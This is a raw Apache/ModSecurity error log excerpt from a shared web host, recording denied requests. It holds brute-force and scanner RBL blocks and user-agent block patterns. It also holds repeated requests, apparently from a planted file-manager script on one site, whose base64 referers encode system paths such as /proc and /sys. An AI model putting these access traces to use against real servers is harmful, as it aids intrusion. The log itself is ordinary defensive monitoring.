31.144.87.50.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "coldroomrental.com.au"] [uri "/wp-login.php"] [unique_id "ai3xp8TA7b1mZrmcA-8rjQACHig"] [Sat Jun 13 18:11:19.901451 2026] [security2:error] [pid 531797:tid 531986] [remote 198.38.95.2:38648] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 2.95.38.198.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "casanoelectric.com"] [uri "/wp-login.php"] [unique_id "ai3xp8TA7b1mZrmcA-8rjAACV3k"] [Sat Jun 13 18:11:19.996615 2026] [access_compat:error] [pid 531155:tid 531208] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0NC9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:11:19.997072 2026] [access_compat:error] [pid 531155:tid 531208] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0NC9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:11:20.007499 2026] [security2:error] [pid 531155:tid 531162] [remote 17.22.237.132:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 132.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xqCmiP80klyS0Nnr9lQABSgY"] [Sat Jun 13 18:11:20.170390 2026] [access_compat:error] [pid 531797:tid 531970] [remote 57.141.14.13:50763] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:20.170689 2026] [access_compat:error] [pid 531797:tid 531970] [remote 57.141.14.13:50763] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:20.425949 2026] [security2:error] [pid 531155:tid 531264] [remote 144.76.119.9:52520] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.119.76.144.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "avecs.us"] [uri "/wp-login.php"] [unique_id "ai3xqCmiP80klyS0Nnr9nwABZGw"] [Sat Jun 13 18:11:20.487369 2026] [access_compat:error] [pid 531155:tid 531238] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2V2ZW50My9zdWJzeXN0ZW0vZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:11:20.487644 2026] [access_compat:error] [pid 531155:tid 531238] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2V2ZW50My9zdWJzeXN0ZW0vZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:11:20.616732 2026] [security2:error] [pid 531797:tid 531922] [remote 17.22.237.217:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xqMTA7b1mZrmcA-8rmgACXDo"] [Sat Jun 13 18:11:20.684270 2026] [security2:error] [pid 531797:tid 532045] [client 136.113.244.229:39272] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "jdbunitehealthcare.com"] [uri "/"] [unique_id "ai3xqMTA7b1mZrmcA-8rnAAAAkQ"] [Sat Jun 13 18:11:20.687564 2026] [authz_core:error] [pid 531797:tid 532061] [client 66.132.195.31:5622] AH01630: client denied by server configuration: /home4/golden38/public_html/php.ini [Sat Jun 13 18:11:20.690010 2026] [authz_core:error] [pid 531797:tid 532061] [client 66.132.195.31:5622] AH01630: client denied by server configuration: /home4/golden38/public_html/error_log [Sat Jun 13 18:11:20.795306 2026] [security2:error] [pid 531797:tid 531942] [remote 92.40.176.239:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3xqMTA7b1mZrmcA-8rngACaE4"], referer: https://www.torquayfans.com [Sat Jun 13 18:11:20.795343 2026] [security2:error] [pid 531797:tid 531942] [remote 92.40.176.239:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3xqMTA7b1mZrmcA-8rngACaE4"], referer: https://www.torquayfans.com [Sat Jun 13 18:11:20.800813 2026] [access_compat:error] [pid 531797:tid 531978] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNzQx [Sat Jun 13 18:11:20.801125 2026] [access_compat:error] [pid 531797:tid 531978] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNzQx [Sat Jun 13 18:11:20.864355 2026] [security2:error] [pid 531155:tid 531254] [remote 17.246.23.89:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 89.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xqCmiP80klyS0Nnr9tgABiGI"] [Sat Jun 13 18:11:20.884910 2026] [security2:error] [pid 531155:tid 531244] [remote 144.76.119.9:52520] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.119.76.144.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "avecs.us"] [uri "/wp-login.php"] [unique_id "ai3xqCmiP80klyS0Nnr9uAABUVg"], referer: https://avecs.us/wp-login.php [Sat Jun 13 18:11:20.893405 2026] [access_compat:error] [pid 531155:tid 531201] [remote 57.141.14.2:41347] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:20.893827 2026] [access_compat:error] [pid 531155:tid 531201] [remote 57.141.14.2:41347] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:21.028952 2026] [security2:error] [pid 531155:tid 531223] [remote 152.53.111.131:56680] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 131.111.53.152.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "ameritekwater.com"] [uri "/wp-login.php"] [unique_id "ai3xqSmiP80klyS0Nnr9wQABb0M"] [Sat Jun 13 18:11:21.055392 2026] [access_compat:error] [pid 531155:tid 531200] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9tb3VzZTEvc3Vic3lzdGVtL2lucHV0Ng== [Sat Jun 13 18:11:21.055783 2026] [access_compat:error] [pid 531155:tid 531200] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9tb3VzZTEvc3Vic3lzdGVtL2lucHV0Ng== [Sat Jun 13 18:11:21.196945 2026] [security2:error] [pid 531155:tid 531392] [client 114.119.129.175:21633] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "co-opportunities.org"] [uri "/about-co-opportunities-inc/"] [unique_id "ai3xqSmiP80klyS0Nnr9yAAAAXU"], referer: http://co-opportunities.org/ [Sat Jun 13 18:11:21.249480 2026] [security2:error] [pid 531155:tid 531268] [remote 17.22.237.18:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 18.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xqSmiP80klyS0Nnr9yQABN3A"] [Sat Jun 13 18:11:21.340743 2026] [access_compat:error] [pid 531797:tid 531939] [remote 57.141.14.5:51505] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:21.341023 2026] [access_compat:error] [pid 531797:tid 531939] [remote 57.141.14.5:51505] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:21.472091 2026] [access_compat:error] [pid 531797:tid 531900] [remote 57.141.14.71:52468] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:21.472566 2026] [access_compat:error] [pid 531797:tid 531900] [remote 57.141.14.71:52468] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:21.545587 2026] [access_compat:error] [pid 531155:tid 531156] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:11:21.545877 2026] [access_compat:error] [pid 531155:tid 531156] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:11:21.567089 2026] [security2:error] [pid 531155:tid 531184] [remote 17.246.15.68:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 68.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xqSmiP80klyS0Nnr91AABVBw"] [Sat Jun 13 18:11:21.676403 2026] [access_compat:error] [pid 531797:tid 531938] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkx [Sat Jun 13 18:11:21.676761 2026] [access_compat:error] [pid 531797:tid 531938] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkx [Sat Jun 13 18:11:21.832581 2026] [access_compat:error] [pid 531155:tid 531270] [remote 57.141.14.67:63597] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:21.833012 2026] [access_compat:error] [pid 531155:tid 531270] [remote 57.141.14.67:63597] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:21.903715 2026] [access_compat:error] [pid 531155:tid 531236] [remote 57.141.14.22:21742] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:21.904137 2026] [access_compat:error] [pid 531155:tid 531236] [remote 57.141.14.22:21742] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:21.992694 2026] [security2:error] [pid 531155:tid 531232] [remote 17.241.75.247:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 247.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xqSmiP80klyS0Nnr94AABIEw"] [Sat Jun 13 18:11:22.077269 2026] [security2:error] [pid 531155:tid 531158] [remote 17.22.237.86:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xqimiP80klyS0Nnr95AABVgI"] [Sat Jun 13 18:11:22.084614 2026] [access_compat:error] [pid 531155:tid 531267] [remote 216.73.216.182:4582] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:22.085067 2026] [access_compat:error] [pid 531155:tid 531267] [remote 216.73.216.182:4582] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:22.090595 2026] [access_compat:error] [pid 531155:tid 531211] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0MS9wb3dlcg== [Sat Jun 13 18:11:22.091018 2026] [access_compat:error] [pid 531155:tid 531211] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0MS9wb3dlcg== [Sat Jun 13 18:11:22.109925 2026] [access_compat:error] [pid 531797:tid 531868] [remote 57.141.14.19:44866] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:22.110192 2026] [access_compat:error] [pid 531797:tid 531868] [remote 57.141.14.19:44866] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:22.217870 2026] [access_compat:error] [pid 531155:tid 531224] [remote 57.141.14.48:58103] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:22.218309 2026] [access_compat:error] [pid 531155:tid 531224] [remote 57.141.14.48:58103] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:22.359952 2026] [access_compat:error] [pid 531797:tid 531918] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxODAzL25ldA== [Sat Jun 13 18:11:22.360212 2026] [access_compat:error] [pid 531797:tid 531918] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxODAzL25ldA== [Sat Jun 13 18:11:22.380540 2026] [security2:error] [pid 531155:tid 531198] [remote 17.241.227.4:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 4.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xqimiP80klyS0Nnr98wABbio"] [Sat Jun 13 18:11:22.493948 2026] [security2:error] [pid 531155:tid 531197] [remote 216.73.216.182:4582] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 182.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/adminer.php"] [unique_id "ai3xqimiP80klyS0Nnr99QABSSk"], referer: https://homs.co.ke/?action=adminer&p=Ly9saWIvbG9jYWxlL2VuX0JX [Sat Jun 13 18:11:22.682821 2026] [access_compat:error] [pid 531155:tid 531229] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQyL3Bvd2Vy [Sat Jun 13 18:11:22.683254 2026] [access_compat:error] [pid 531155:tid 531229] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 